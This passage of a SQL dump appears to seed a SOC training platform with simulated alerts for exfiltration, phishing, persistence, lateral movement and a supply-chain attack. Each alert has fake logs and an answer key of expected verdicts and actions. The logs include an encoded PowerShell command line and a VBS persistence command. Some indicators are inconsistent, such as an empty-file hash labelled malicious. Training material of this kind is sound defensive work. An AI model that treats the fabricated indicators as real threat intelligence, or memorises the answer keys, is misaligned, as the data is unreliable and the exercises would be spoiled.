detected.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.005Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"dlp-collection-56789\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"accessed_files\\\":[\\\"/research/patient_data/sensitive_data.xlsx\\\",\\\"/research/materials_science/proprietary_formula.docx\\\"],\\\"file_hashes\\\":[\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"5eb63bbbe01eeed093cb22bb8f5acdc3\\\"],\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"alert_reason\\\":\\\"Multiple sensitive files accessed and malware hash detected.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.005Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"dlp-collection-56789\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"accessed_files\\\":[\\\"/research/patient_data/sensitive_data.xlsx\\\",\\\"/research/materials_science/proprietary_formula.docx\\\"],\\\"file_hashes\\\":[\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"5eb63bbbe01eeed093cb22bb8f5acdc3\\\"],\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"alert_reason\\\":\\\"Multiple sensitive files accessed and malware hash detected.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.005Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"dlp-collection-56789\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"accessed_files\\\":[\\\"/research/patient_data/sensitive_data.xlsx\\\",\\\"/research/materials_science/proprietary_formula.docx\\\"],\\\"file_hashes\\\":[\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"5eb63bbbe01eeed093cb22bb8f5acdc3\\\"],\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"alert_reason\\\":\\\"Multiple sensitive files accessed and malware hash detected.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(402, 'Data Exfiltration Attempt Blocked', 'high', 'Firewall Logs', 'A detected attempt to transfer data to an external server was blocked. This represents the final stage of a sophisticated attack, indicating a potential breach.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T15:47:23Z\",\"firewall_id\":\"FW-12345\",\"action\":\"blocked\",\"source_ip\":\"10.0.15.23\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"username\":\"jdoe\",\"filename\":\"confidential_data.zip\",\"file_hash\":\"9e107d9d372bb6826bd81d3542a419d6\",\"policy_rule\":\"Block_Exfiltration_Attempts\",\"detection_method\":\"anomaly_detection\",\"alert_id\":\"alert-98765\",\"additional_info\":{\"attempted_bytes_transferred\":2048000,\"malware_family\":\"APT29\"}}', '2026-01-04 02:15:53', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with APT29.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.15.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host attempting unauthorized data transfer.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malicious exfiltration tool.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file format detected in unauthorized transfer attempt.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"User account involved in data exfiltration attempt.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(403, 'Suspicious Email Attachment Detected', 'medium', 'Email Gateway Logs', 'A spear-phishing email was detected targeting key personnel at the think tank. The email contained a document with malicious macros aiming to gain initial access to the network.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.5\",\"email_subject\":\"Urgent: Update Required\",\"sender_email\":\"attackers@maliciousdomain.com\",\"recipient_email\":\"john.doe@thinktank.org\",\"attachment_name\":\"UpdateInstructions.docm\",\"attachment_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"malware_family\":\"Emotet\",\"user\":\"jdoe\"}', '2026-01-04 02:18:47', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Emotet campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"attackers@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Email domain associated with phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"UpdateInstructions.docm\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"File contains macros linked to Emotet malware.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Emotet payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Attachment Detected\",\"date\":\"2026-02-01T20:32:19.007Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(404, 'Malicious Browser Extension Installed', 'high', 'Endpoint Detection and Response (EDR)', 'Upon opening the attachment, a script executes silently in the background, installing a malicious browser extension designed to intercept email credentials.', 'Execution', 'T1059', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"event_id\":\"4624\",\"computer_name\":\"user-pc.example.com\",\"user\":\"jdoe\",\"source_ip\":\"192.168.1.15\",\"attacker_ip\":\"203.0.113.5\",\"malicious_file\":\"browser_harvest_ext.crx\",\"file_hash\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"script_name\":\"install_extension.js\",\"process_id\":4321,\"action\":\"extension_installed\",\"extension_id\":\"abcdef123456\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\"}', '2026-01-04 02:18:47', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with credential harvesting campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareHashDB\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known malicious browser extensions.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"browser_harvest_ext.crx\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalEDR\",\"verdict\":\"suspicious\",\"details\":\"Detected as part of an unauthorized installation process.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(405, 'BabyShark VBS Script Execution', 'medium', 'System Event Logs', 'The BabyShark VBS script was executed to establish persistence on the compromised system. This script runs at startup, allowing attackers to maintain access over time.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"event_id\":\"7045\",\"timestamp\":\"2023-10-12T14:22:35Z\",\"computer_name\":\"compromised-host.local\",\"user\":\"SYSTEM\",\"action\":\"Service Installed\",\"service_name\":\"BabySharkVBS\",\"service_filename\":\"C:\\\\Windows\\\\System32\\\\BabyShark.vbs\",\"command_line\":\"wscript.exe C:\\\\Windows\\\\System32\\\\BabyShark.vbs\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.15\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"associated_user\":\"compromised_user\"}', '2026-01-04 02:18:47', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Public IP Blacklist\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hash Lookup\",\"verdict\":\"malicious\",\"details\":\"Hash matches known BabyShark VBS script.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"User account compromised as part of the attack.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.009Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":\\\"7045\\\",\\\"timestamp\\\":\\\"2023-10-12T14:22:35Z\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"action\\\":\\\"Service Installed\\\",\\\"service_name\\\":\\\"BabySharkVBS\\\",\\\"service_filename\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\BabyShark.vbs\\\",\\\"command_line\\\":\\\"wscript.exe C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\BabyShark.vbs\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"associated_user\\\":\\\"compromised_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.009Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":\\\"7045\\\",\\\"timestamp\\\":\\\"2023-10-12T14:22:35Z\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"action\\\":\\\"Service Installed\\\",\\\"service_name\\\":\\\"BabySharkVBS\\\",\\\"service_filename\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\BabyShark.vbs\\\",\\\"command_line\\\":\\\"wscript.exe C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\BabyShark.vbs\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"associated_user\\\":\\\"compromised_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.009Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":\\\"7045\\\",\\\"timestamp\\\":\\\"2023-10-12T14:22:35Z\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"action\\\":\\\"Service Installed\\\",\\\"service_name\\\":\\\"BabySharkVBS\\\",\\\"service_filename\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\BabyShark.vbs\\\",\\\"command_line\\\":\\\"wscript.exe C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\BabyShark.vbs\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"associated_user\\\":\\\"compromised_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.009Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":\\\"7045\\\",\\\"timestamp\\\":\\\"2023-10-12T14:22:35Z\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"action\\\":\\\"Service Installed\\\",\\\"service_name\\\":\\\"BabySharkVBS\\\",\\\"service_filename\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\BabyShark.vbs\\\",\\\"command_line\\\":\\\"wscript.exe C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\BabyShark.vbs\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"associated_user\\\":\\\"compromised_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.009Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":\\\"7045\\\",\\\"timestamp\\\":\\\"2023-10-12T14:22:35Z\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"action\\\":\\\"Service Installed\\\",\\\"service_name\\\":\\\"BabySharkVBS\\\",\\\"service_filename\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\BabyShark.vbs\\\",\\\"command_line\\\":\\\"wscript.exe C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\BabyShark.vbs\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"associated_user\\\":\\\"compromised_user\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(406, 'Unauthorized Access to Internal Network', 'high', 'Network Traffic Analysis', 'An attacker was detected moving laterally within the internal network by exploiting compromised credentials. The attacker was observed accessing multiple internal systems, suggesting an attempt to identify sensitive data and further vulnerabilities.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:35Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.5\",\"user\":\"jdoe\",\"action\":\"login_success\",\"protocol\":\"SMB\",\"file_accessed\":\"sensitive_data.xlsx\",\"hash\":\"3d2e4f8c5b9a4f4d9a7b0c9f1e2b3c4d\",\"event_id\":\"4624\",\"message\":\"User jdoe successfully logged in from 203.0.113.45 to 10.0.0.5 via SMB.\"}', '2026-01-04 02:18:47', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelligenceDatabase\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalNetwork\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalUserDatabase\",\"verdict\":\"internal\",\"details\":\"Compromised internal user account.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3d2e4f8c5b9a4f4d9a7b0c9f1e2b3c4d\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareDatabase\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known malware used for lateral movement.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(407, 'Data Exfiltration Detected', 'high', 'Data Loss Prevention (DLP) Systems', 'The Kimsuky APT group has successfully exfiltrated sensitive emails and documents related to nuclear policy. They utilized a compromised browser extension to send data back to their command and control servers.', 'Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:52:23Z\",\"event_id\":\"EXFIL-2023-1001\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"203.0.113.45\",\"user\":\"johndoe\",\"exfiltrated_files\":[\"nuclear_policy_draft.docx\",\"email_correspondence_2023.eml\"],\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malicious_extension_id\":\"kimsuky_extension_123\",\"c2_server\":\"malicious.kimsuky.org\"}', '2026-01-04 02:18:47', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known Kimsuky C2 server\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with Kimsuky malware\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"nuclear_policy_draft.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Sensitive document\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"johndoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Affected user\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.012Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:52:23Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-1001\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"johndoe\\\",\\\"exfiltrated_files\\\":[\\\"nuclear_policy_draft.docx\\\",\\\"email_correspondence_2023.eml\\\"],\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_extension_id\\\":\\\"kimsuky_extension_123\\\",\\\"c2_server\\\":\\\"malicious.kimsuky.org\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.012Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:52:23Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-1001\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"johndoe\\\",\\\"exfiltrated_files\\\":[\\\"nuclear_policy_draft.docx\\\",\\\"email_correspondence_2023.eml\\\"],\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_extension_id\\\":\\\"kimsuky_extension_123\\\",\\\"c2_server\\\":\\\"malicious.kimsuky.org\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.012Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:52:23Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-1001\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"johndoe\\\",\\\"exfiltrated_files\\\":[\\\"nuclear_policy_draft.docx\\\",\\\"email_correspondence_2023.eml\\\"],\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_extension_id\\\":\\\"kimsuky_extension_123\\\",\\\"c2_server\\\":\\\"malicious.kimsuky.org\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.012Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:52:23Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-1001\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"johndoe\\\",\\\"exfiltrated_files\\\":[\\\"nuclear_policy_draft.docx\\\",\\\"email_correspondence_2023.eml\\\"],\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_extension_id\\\":\\\"kimsuky_extension_123\\\",\\\"c2_server\\\":\\\"malicious.kimsuky.org\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.012Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:52:23Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-1001\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"johndoe\\\",\\\"exfiltrated_files\\\":[\\\"nuclear_policy_draft.docx\\\",\\\"email_correspondence_2023.eml\\\"],\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_extension_id\\\":\\\"kimsuky_extension_123\\\",\\\"c2_server\\\":\\\"malicious.kimsuky.org\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(408, 'Initial Access via Supply Chain Compromise', 'high', 'Network Intrusion Detection System', 'APT41 has initiated an operation by exploiting a vulnerability in a third-party software update, gaining initial access to the targeted gaming company\'s network.', 'Supply Chain Attack', 'T1195.002 - Software Supply Chain', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:32Z\",\"event_id\":\"EVT-2023-20145\",\"source_ip\":\"198.51.100.14\",\"destination_ip\":\"10.0.5.25\",\"filename\":\"CCleaner_Update_v5.7.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"alert_name\":\"Suspicious Software Update\",\"user\":\"update_service\",\"description\":\"Detected a potentially malicious software update from a third-party provider.\"}', '2026-01-04 02:21:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.14\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous APT41 campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised 